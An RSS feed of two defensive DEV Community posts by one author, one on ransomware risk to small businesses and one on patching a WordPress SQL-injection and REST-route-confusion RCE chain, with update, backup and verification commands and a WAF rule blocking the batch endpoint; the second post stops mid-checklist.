<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Stanley A.</title>
    <description>The latest articles on DEV Community by Stanley A. (@stanleya).</description>
    <link>https://dev.to/stanleya</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3892823%2F1d044e1a-6037-41f2-9a01-da23d770397b.jpg</url>
      <title>DEV Community: Stanley A.</title>
      <link>https://dev.to/stanleya</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/stanleya"/>
    <language>en</language>
    <item>
      <title>96% of Ransomware Victims Are Small Businesses — How to Actually Protect Your Stack</title>
      <dc:creator>Stanley A.</dc:creator>
      <pubDate>Wed, 22 Jul 2026 14:11:00 +0000</pubDate>
      <link>https://dev.to/stanleya/96-of-ransomware-victims-are-small-businesses-how-to-actually-protect-your-stack-1cil</link>
      <guid>https://dev.to/stanleya/96-of-ransomware-victims-are-small-businesses-how-to-actually-protect-your-stack-1cil</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Verizon's newly-released 2026 DBIR found that &lt;strong&gt;96% of ransomware victims (where organization size was known) were small and medium-sized businesses&lt;/strong&gt;. Third-party involvement in SMB breaches has jumped to 55%. Meanwhile, 47% of businesses with fewer than 50 employees still allocate &lt;strong&gt;zero budget&lt;/strong&gt; to cybersecurity (StrongDM 2025).&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;If you manage WordPress sites, SaaS backends, ecommerce platforms, or any web infrastructure for clients — this post is about the technical gaps that let ransomware happen, and the exact steps to close them.&lt;/p&gt;

&lt;p&gt;This isn't a pitch for our own tooling — just the stack-level controls that matter. (We do link to our free scanner near the bottom, because it's relevant, not because this post exists to sell it.)&lt;/p&gt;




&lt;h2&gt;
  
  
  Why SMBs Are the Primary Target
&lt;/h2&gt;

&lt;p&gt;The myth: "Ransomware groups go after big enterprises."&lt;/p&gt;

&lt;p&gt;The data says the opposite, and it's getting starker every year:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;2025 DBIR:&lt;/strong&gt; ransomware appeared in 88% of SMB breaches vs. 39% at large enterprises.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;2026 DBIR (released May 2026):&lt;/strong&gt; ransomware now shows up in 48% of &lt;em&gt;all&lt;/em&gt; confirmed breaches (up from 44%), and of the ransomware victims where organization size was known, &lt;strong&gt;96% were SMBs&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Independent breach-tracking from Proton's Data Breach Observatory puts businesses under 250 employees at roughly 63–71% of all breaches recorded in 2025–2026, depending on the sampling window.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Three technical reasons why SMBs keep losing this fight:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Minimal defences.&lt;/strong&gt; No SIEM, no EDR, no network segmentation. The attack surface is wide open.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Fast payment cycle.&lt;/strong&gt; Desperation → quick ransom payment → attacker profits → repeat. (Though this is shifting — more on that below.)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Supply chain pivot.&lt;/strong&gt; Compromised small business → lateral movement to their bigger clients. Third-party involvement in breaches jumped from 30% to 48% year-over-year industry-wide, and sits at 55% for SMBs specifically (Verizon DBIR 2026).&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  The Modern Ransomware Kill Chain
&lt;/h2&gt;

&lt;p&gt;This isn't the 2015 "encrypt and demand Bitcoin" playbook. Modern ransomware follows a structured kill chain:&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 1: Initial Access
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Common entry vectors (ranked by frequency, 2026 DBIR):&lt;/span&gt;
1. Vulnerability exploitation — now the &lt;span class="c"&gt;#1 vector overall (31%),&lt;/span&gt;
   overtaking stolen credentials &lt;span class="k"&gt;for &lt;/span&gt;the first &lt;span class="nb"&gt;time &lt;/span&gt;&lt;span class="k"&gt;in &lt;/span&gt;19 years of the report
2. Phishing emails &lt;span class="o"&gt;(&lt;/span&gt;AI-written, grammar-perfect, hyper-personalised&lt;span class="o"&gt;)&lt;/span&gt;
3. Reused credentials &lt;span class="o"&gt;(&lt;/span&gt;no MFA&lt;span class="o"&gt;)&lt;/span&gt;
4. Exposed SSH, RDP, or database ports
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The shift to vulnerability exploitation matters for one reason: the DBIR reports the window between a CVE being disclosed and it being exploited in the wild has shrunk from months to hours. "We'll patch it next sprint" is no longer a viable posture.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 2: Reconnaissance
&lt;/h3&gt;

&lt;p&gt;The attacker maps your network silently — days or weeks before encryption. Most SMBs never detect this phase.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 3: Data Exfiltration
&lt;/h3&gt;

&lt;p&gt;Before encrypting anything, they &lt;strong&gt;steal your data first&lt;/strong&gt;. Double extortion: "Pay up, or we publish your customer database."&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 4: Encryption + Ransom
&lt;/h3&gt;

&lt;p&gt;Files, databases, backups — all locked. Ransom note appears.&lt;/p&gt;

&lt;h3&gt;
  
  
  Stage 5: The Real Cost
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;21 days&lt;/strong&gt; average downtime for SMBs&lt;/li&gt;
&lt;li&gt;Customer notification obligations&lt;/li&gt;
&lt;li&gt;Regulatory fines&lt;/li&gt;
&lt;li&gt;Reputational damage&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The good news buried in the 2026 numbers: median ransom payments have fallen below $140,000, and 69% of victims now refuse to pay at all — up from 50% just two years ago. Backups and refusal-to-pay norms are working. But that only helps you if your backups actually restore, which is the next section.&lt;/p&gt;




&lt;h2&gt;
  
  
  Your WAF Isn't Enough
&lt;/h2&gt;

&lt;p&gt;If you're behind Cloudflare (or any WAF), you're ahead of most. But here's what a WAF actually covers vs. what ransomware exploits:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;WAF Covers&lt;/th&gt;
&lt;th&gt;Ransomware Exploits&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;DDoS mitigation&lt;/td&gt;
&lt;td&gt;Application logic flaws&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Known-pattern WAF rules&lt;/td&gt;
&lt;td&gt;Zero-day / novel attack patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Basic bot filtering&lt;/td&gt;
&lt;td&gt;Authenticated attack patterns&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DNS protections&lt;/td&gt;
&lt;td&gt;Server misconfigurations&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SSL/TLS termination&lt;/td&gt;
&lt;td&gt;Code-level vulnerabilities (XSS, SQLi)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rate limiting&lt;/td&gt;
&lt;td&gt;Supply chain compromises&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The entry points that lead to ransomware are typically &lt;strong&gt;behind&lt;/strong&gt; the WAF:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Misconfigured admin panels (&lt;code&gt;/wp-admin&lt;/code&gt; open to 0.0.0.0/0)&lt;/li&gt;
&lt;li&gt;Unpatched WordPress core or plugins&lt;/li&gt;
&lt;li&gt;Developer credentials in public repos&lt;/li&gt;
&lt;li&gt;Default database credentials on shared hosting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A live example as of this week: &lt;strong&gt;CVE-2026-60137 chained with CVE-2026-63030&lt;/strong&gt; ("wp2shell") is an unauthenticated remote-code-execution chain in WordPress core — an unsanitised &lt;code&gt;WP_Query&lt;/code&gt; parameter (SQLi, CVSS 9.1) combined with a REST API batch-route confusion bug that strips the authentication requirement. Together they let an attacker go from zero access to a full admin takeover on a default, out-of-the-box WordPress install — no plugins, no misconfiguration needed. WordPress 6.8.6, 6.9.5, and 7.0.2 all contain the fix. If you're running WordPress and haven't force-updated in the last 72 hours, this is a genuine emergency, not a "patch it this sprint" item.&lt;/p&gt;

&lt;p&gt;A WAF is a seatbelt. Essential, but it doesn't prevent the crash.&lt;/p&gt;




&lt;h2&gt;
  
  
  Three Stack-Level Controls That Actually Work
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. Backup Verification (Test Recovery, Not Just Backups)
&lt;/h3&gt;

&lt;p&gt;Most SMBs "have backups." Very few can actually recover from them.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Checklist for ransomware-resilient backups:&lt;/span&gt;
&lt;span class="c"&gt;# ✓ Offsite (separate provider / region)&lt;/span&gt;
&lt;span class="c"&gt;# ✓ Immutable (WORM storage or air-gapped)&lt;/span&gt;
&lt;span class="c"&gt;# ✓ Tested (can you restore right now, without touching production?)&lt;/span&gt;
&lt;span class="c"&gt;# ✓ Recent (RPO &amp;lt; 24h for critical data)&lt;/span&gt;
&lt;span class="c"&gt;# ✓ Not on the same server as production data&lt;/span&gt;

&lt;span class="c"&gt;# Quick test you can run today:&lt;/span&gt;
&lt;span class="c"&gt;# Can you restore a critical database table from backup&lt;/span&gt;
&lt;span class="c"&gt;# without affecting the live site?&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If your backup is on the same server as your production data, ransomware encrypts both. If it's never been tested, you don't know if it works. Fix that before anything else.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Free Security Baseline (5 Minutes)
&lt;/h3&gt;

&lt;p&gt;Before investing in tooling, know your current posture. Run a scan that covers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;SSL/TLS configuration&lt;/li&gt;
&lt;li&gt;Security headers (CSP, HSTS, X-Frame-Options)&lt;/li&gt;
&lt;li&gt;DNS configuration&lt;/li&gt;
&lt;li&gt;Email authentication (SPF, DKIM, DMARC)&lt;/li&gt;
&lt;li&gt;CMS version detection (WordPress, Shopify, etc.)&lt;/li&gt;
&lt;li&gt;Open ports and services&lt;/li&gt;
&lt;li&gt;Technology fingerprinting&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://dev.to/web-security-scanner/"&gt;Run a free scan →&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This won't find everything — but it tells you if your SSL is misconfigured, your headers are missing, your email is spoofable, or your CMS has known CVEs.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Close the Top 3 Entry Points (This Week)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Patch everything, and patch it fast&lt;/span&gt;
wp core update          &lt;span class="c"&gt;# WordPress — critical given the wp2shell chain above&lt;/span&gt;
wp plugin update &lt;span class="nt"&gt;--all&lt;/span&gt;  &lt;span class="c"&gt;# All plugins&lt;/span&gt;
wp theme update &lt;span class="nt"&gt;--all&lt;/span&gt;   &lt;span class="c"&gt;# All themes&lt;/span&gt;

&lt;span class="c"&gt;# 2. Enable MFA on every admin surface&lt;/span&gt;
&lt;span class="c"&gt;# WordPress: install "WP 2FA" or similar&lt;/span&gt;
&lt;span class="c"&gt;# Hosting: enable 2FA on cPanel/Plesk&lt;/span&gt;
&lt;span class="c"&gt;# Email: enable on all admin accounts&lt;/span&gt;
&lt;span class="c"&gt;# Git repos: enforce 2FA on GitHub/GitLab&lt;/span&gt;

&lt;span class="c"&gt;# 3. Lock down admin panels&lt;/span&gt;
&lt;span class="c"&gt;# Option A: IP restriction via .htaccess&lt;/span&gt;
&amp;lt;Files wp-login.php&amp;gt;
    Require ip 203.0.113.0/24
&amp;lt;/Files&amp;gt;

&lt;span class="c"&gt;# Option B: Cloudflare Access (Zero Trust)&lt;/span&gt;
&lt;span class="c"&gt;# Restrict /wp-admin to authenticated users only&lt;/span&gt;

&lt;span class="c"&gt;# Option C: VPN-only access&lt;/span&gt;
&lt;span class="c"&gt;# Run SSH tunnel for admin access&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Numbers
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stat&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;th&gt;Source&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;SMBs among ransomware victims (org size known)&lt;/td&gt;
&lt;td&gt;96%&lt;/td&gt;
&lt;td&gt;Verizon DBIR 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ransomware present in all confirmed breaches&lt;/td&gt;
&lt;td&gt;48% (up from 44%)&lt;/td&gt;
&lt;td&gt;Verizon DBIR 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Third-party involvement, all breaches&lt;/td&gt;
&lt;td&gt;48% (up 60% YoY)&lt;/td&gt;
&lt;td&gt;Verizon DBIR 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Third-party involvement, SMB breaches specifically&lt;/td&gt;
&lt;td&gt;55%&lt;/td&gt;
&lt;td&gt;Verizon DBIR 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;SMBs with zero cyber budget (&amp;lt;50 employees)&lt;/td&gt;
&lt;td&gt;47%&lt;/td&gt;
&lt;td&gt;StrongDM 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Global average breach cost&lt;/td&gt;
&lt;td&gt;$4.44M (down 9% YoY)&lt;/td&gt;
&lt;td&gt;IBM Cost of a Data Breach 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Average breach cost, businesses &amp;lt;500 employees&lt;/td&gt;
&lt;td&gt;$3.31M&lt;/td&gt;
&lt;td&gt;IBM Cost of a Data Breach 2025&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Median ransom paid&lt;/td&gt;
&lt;td&gt;~$140K (down from $150K)&lt;/td&gt;
&lt;td&gt;Verizon DBIR 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Victims who refused to pay&lt;/td&gt;
&lt;td&gt;69% (up from 50% two years ago)&lt;/td&gt;
&lt;td&gt;Verizon DBIR 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  What to Do Today
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Patch WordPress now if you haven't&lt;/strong&gt; — CVE-2026-60137 / CVE-2026-63030 is a pre-auth RCE chain live in the wild this week&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Test a backup restore&lt;/strong&gt; — right now, without touching production&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run a free security scan&lt;/strong&gt; — &lt;a href="https://wardenbit.com/web-security-scanner/" rel="noopener noreferrer"&gt;wardenbit.com/web-security-scanner&lt;/a&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Most ransomware gaps are findable and fixable before an attacker exploits them. You don't need a security team — you need to know where the gaps are and close them in priority order.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://wardenbit.com/posts/88-percent-smb-breaches-ransomware/?utm_source=devto&amp;amp;utm_medium=organic&amp;amp;utm_campaign=88-percent-smb-breaches-ransomware-blog-post" rel="noopener noreferrer"&gt;WardenBit&lt;/a&gt;. WardenBit helps small businesses find and fix security gaps before they become breaches — &lt;a href="https://wardenbit.com/web-security-scanner/" rel="noopener noreferrer"&gt;run a free scan&lt;/a&gt; to check your website across 40+ categories in under 60 seconds.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>javascript</category>
      <category>devops</category>
      <category>webdev</category>
    </item>
    <item>
      <title>WordPress 7.0.2 — Patching an Unauthenticated RCE Chain Right Now</title>
      <dc:creator>Stanley A.</dc:creator>
      <pubDate>Sun, 19 Jul 2026 00:49:47 +0000</pubDate>
      <link>https://dev.to/stanleya/wordpress-702-patching-an-unauthenticated-rce-chain-right-now-3j9a</link>
      <guid>https://dev.to/stanleya/wordpress-702-patching-an-unauthenticated-rce-chain-right-now-3j9a</guid>
      <description>&lt;p&gt;On July 17, 2026, WordPress dropped &lt;strong&gt;7.0.2&lt;/strong&gt; to patch a chain of two vulnerabilities — CVE-2026-60137 (SQL injection) and CVE-2026-63030 (REST API batch route confusion → RCE). The chain is nicknamed &lt;strong&gt;WP2Shell&lt;/strong&gt;. Chained together, on default installations with no plugins involved, it lets a remote attacker with &lt;strong&gt;no WordPress account&lt;/strong&gt; reach full code execution.&lt;/p&gt;

&lt;p&gt;If you're running WordPress 6.8 through 7.0.1, you need to update right now. Not next week. Right now.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update (July 18):&lt;/strong&gt; two days after disclosure, working proof-of-concept code is now public and Patchstack reported signs of in-the-wild exploitation attempts within hours of the advisory going out. Treat this as actively exploited, not theoretical.&lt;/p&gt;

&lt;p&gt;Here's the technical breakdown.&lt;/p&gt;




&lt;h2&gt;
  
  
  What the Two CVEs Actually Do
&lt;/h2&gt;

&lt;h3&gt;
  
  
  CVE-2026-60137 — SQL Injection via &lt;code&gt;WP_Query&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The vulnerability lives in &lt;code&gt;WP_Query&lt;/code&gt;'s handling of the &lt;code&gt;author__not_in&lt;/code&gt; parameter. The parameter lacks proper escaping and query preparation, letting an attacker inject arbitrary SQL.&lt;/p&gt;

&lt;p&gt;On its own, this bug is narrower than it sounds: reaching it typically requires either an authenticated context, or a plugin/theme that passes untrusted input into &lt;code&gt;author__not_in&lt;/code&gt;. It's not directly reachable by an anonymous visitor through stock WordPress core by itself — that's exactly what the second CVE changes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; WordPress 6.8 through 7.0.1&lt;br&gt;
&lt;strong&gt;Patched in:&lt;/strong&gt; 6.8.6, 6.9.5, 7.0.2&lt;br&gt;
&lt;strong&gt;Reported by:&lt;/strong&gt; TF1T, dtro, and haongo&lt;/p&gt;

&lt;p&gt;This isn't a plugin issue — it's core. Every WordPress installation with this version range is exposed.&lt;/p&gt;
&lt;h3&gt;
  
  
  CVE-2026-63030 — REST API Batch Route Confusion → RCE
&lt;/h3&gt;

&lt;p&gt;This is the more dangerous half of the chain. The REST API batch endpoint (&lt;code&gt;/wp-json/batch/v1&lt;/code&gt;) has a &lt;strong&gt;route confusion&lt;/strong&gt; issue (CWE-436) discovered by Adam Kues at Assetnote / Searchlight Cyber. This is what turns CVE-2026-60137 into something an anonymous, unauthenticated attacker can trigger: the route confusion lets a crafted batch request slip past the auth boundary that would normally gate the SQL injection, and reach it with unauthenticated privileges — from there, the SQLi is escalated into RCE.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Important caveat:&lt;/strong&gt; according to Cloudflare's and SOCRadar's analysis, this RCE path is reachable when a &lt;strong&gt;persistent object cache (Redis, Memcached, etc.) is not enabled&lt;/strong&gt; — which is the WordPress default for most installs, but not universal. If you run a persistent object cache, you're likely at reduced risk for the full RCE chain specifically, though the underlying SQLi in &lt;code&gt;WP_Query&lt;/code&gt; is still a real problem worth patching regardless.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; WordPress 6.9.0–6.9.4, 7.0.0–7.0.1&lt;br&gt;
&lt;strong&gt;Patched in:&lt;/strong&gt; 6.9.5, 7.0.2&lt;/p&gt;

&lt;p&gt;The batch endpoint itself has shipped by default since WordPress 5.6 (2020); it's the route-confusion bug introduced in 6.9 that opens the door.&lt;/p&gt;
&lt;h3&gt;
  
  
  Why the Chain Matters
&lt;/h3&gt;

&lt;p&gt;Neither CVE alone reaches the full impact:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;CVE-2026-60137 (SQLi)   ──→  DB access, but gated behind auth/plugin context
CVE-2026-63030 (route)  ──→  bypasses that gate + drives it to code execution
Combined                  = unauthenticated remote code execution
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rapid7's advisory put it well: &lt;em&gt;"Organizations should not interpret the absence of public exploitation reports as an indication of low risk."&lt;/em&gt; That framing has already aged — as of this writing, public PoC code and early signs of exploitation attempts exist. The advice underneath it still holds: don't wait for confirmed mass exploitation before you patch.&lt;/p&gt;




&lt;h2&gt;
  
  
  Affected Versions
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Branch&lt;/th&gt;
&lt;th&gt;CVE-2026-60137&lt;/th&gt;
&lt;th&gt;CVE-2026-63030&lt;/th&gt;
&lt;th&gt;Patch&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;6.8.x (&amp;lt; 6.8.6)&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;&lt;code&gt;6.8.6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6.9.0–6.9.4&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;code&gt;6.9.5&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.0.0–7.0.1&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;&lt;code&gt;7.0.2&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7.1 beta&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;✅&lt;/td&gt;
&lt;td&gt;7.1 Beta 2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&amp;lt; 6.8&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;❌&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Note: on 6.8.x, only the SQLi (CVE-2026-60137) applies — the route-confusion bug that unlocks unauthenticated RCE was introduced in 6.9. That branch is still worth patching, but it isn't exposed to the full pre-auth WP2Shell chain.&lt;/p&gt;




&lt;h2&gt;
  
  
  Emergency Mitigation (If You Can't Patch Immediately)
&lt;/h2&gt;

&lt;p&gt;Searchlight Cyber recommends blocking anonymous access to the batch API while you stage the update:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;At your WAF/CDN level (Cloudflare, etc.):&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight conf"&gt;&lt;code&gt;&lt;span class="c"&gt;# Block the batch endpoint
&lt;/span&gt;/&lt;span class="n"&gt;wp&lt;/span&gt;-&lt;span class="n"&gt;json&lt;/span&gt;/&lt;span class="n"&gt;batch&lt;/span&gt;/&lt;span class="n"&gt;v1&lt;/span&gt;
?&lt;span class="n"&gt;rest_route&lt;/span&gt;=/&lt;span class="n"&gt;batch&lt;/span&gt;/&lt;span class="n"&gt;v1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Via a plugin:&lt;/strong&gt; Install a plugin that blocks anonymous REST API access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cloudflare users:&lt;/strong&gt; An emergency managed rule was released July 17, 2026. Check &lt;strong&gt;Security → WAF → Managed Rules&lt;/strong&gt; to confirm it's active.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Running a persistent object cache?&lt;/strong&gt; You're likely lower-risk for the RCE chain specifically, but this isn't a substitute for patching — the SQL injection itself is still live until you update.&lt;/p&gt;

&lt;p&gt;⚠️ Both mitigations may break legitimate site functionality — use only as temporary measures until you patch.&lt;/p&gt;




&lt;h2&gt;
  
  
  How to Patch
&lt;/h2&gt;

&lt;h3&gt;
  
  
  WP-CLI (recommended for ops)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Back up first&lt;/span&gt;
wp db &lt;span class="nb"&gt;export &lt;/span&gt;backup-&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;date&lt;/span&gt; +%Y%m%d&lt;span class="si"&gt;)&lt;/span&gt;.sql

&lt;span class="c"&gt;# Update core&lt;/span&gt;
wp core update

&lt;span class="c"&gt;# Update database schema if needed&lt;/span&gt;
wp core update-db

&lt;span class="c"&gt;# Verify&lt;/span&gt;
wp core version
&lt;span class="c"&gt;# Should show: 6.8.6, 6.9.5, or 7.0.2&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Manual via SSH
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Backup&lt;/span&gt;
mysqldump &lt;span class="nt"&gt;-u&lt;/span&gt; user &lt;span class="nt"&gt;-p&lt;/span&gt; wordpress_db &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; backup.sql

&lt;span class="c"&gt;# Download and extract&lt;/span&gt;
&lt;span class="nb"&gt;cd&lt;/span&gt; /path/to/wordpress
curl &lt;span class="nt"&gt;-O&lt;/span&gt; https://wordpress.org/wordpress-7.0.2.tar.gz
&lt;span class="nb"&gt;tar&lt;/span&gt; &lt;span class="nt"&gt;-xzf&lt;/span&gt; wordpress-7.0.2.tar.gz

&lt;span class="c"&gt;# Replace core files (keep wp-content and wp-config.php)&lt;/span&gt;
rsync &lt;span class="nt"&gt;-av&lt;/span&gt; wordpress/ ./ &lt;span class="nt"&gt;--exclude&lt;/span&gt; wp-content/ &lt;span class="nt"&gt;--exclude&lt;/span&gt; wp-config.php

&lt;span class="c"&gt;# Run database update&lt;/span&gt;
wp core update-db
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  WordPress Dashboard
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Dashboard → Updates → Update Now&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;WordPress has enabled forced auto-updates for affected installations, but verify manually — auto-update can silently fail.&lt;/p&gt;

&lt;h3&gt;
  
  
  Docker / CI-CD
&lt;/h3&gt;

&lt;p&gt;If you're running WordPress in containers, update your base image tag and redeploy. If you use a build pipeline that pins WordPress versions, update the version pin and trigger a rebuild.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight docker"&gt;&lt;code&gt;&lt;span class="c"&gt;# Before&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; wordpress:7.0.1-php8.2-apache&lt;/span&gt;

&lt;span class="c"&gt;# After&lt;/span&gt;
&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="s"&gt; wordpress:7.0.2-php8.2-apache&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Post-Patch Verification Checklist
&lt;/h2&gt;

&lt;p&gt;After updating, verify your installation is clean:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Version check
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wp core version
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s1"&gt;'$wp_version ='&lt;/span&gt; wp-includes/version.php
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  2. Check for new admin accounts
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;wp user list &lt;span class="nt"&gt;--role&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;administrator
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Look for recently modified core files
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Find PHP files modified in the last 7 days&lt;/span&gt;
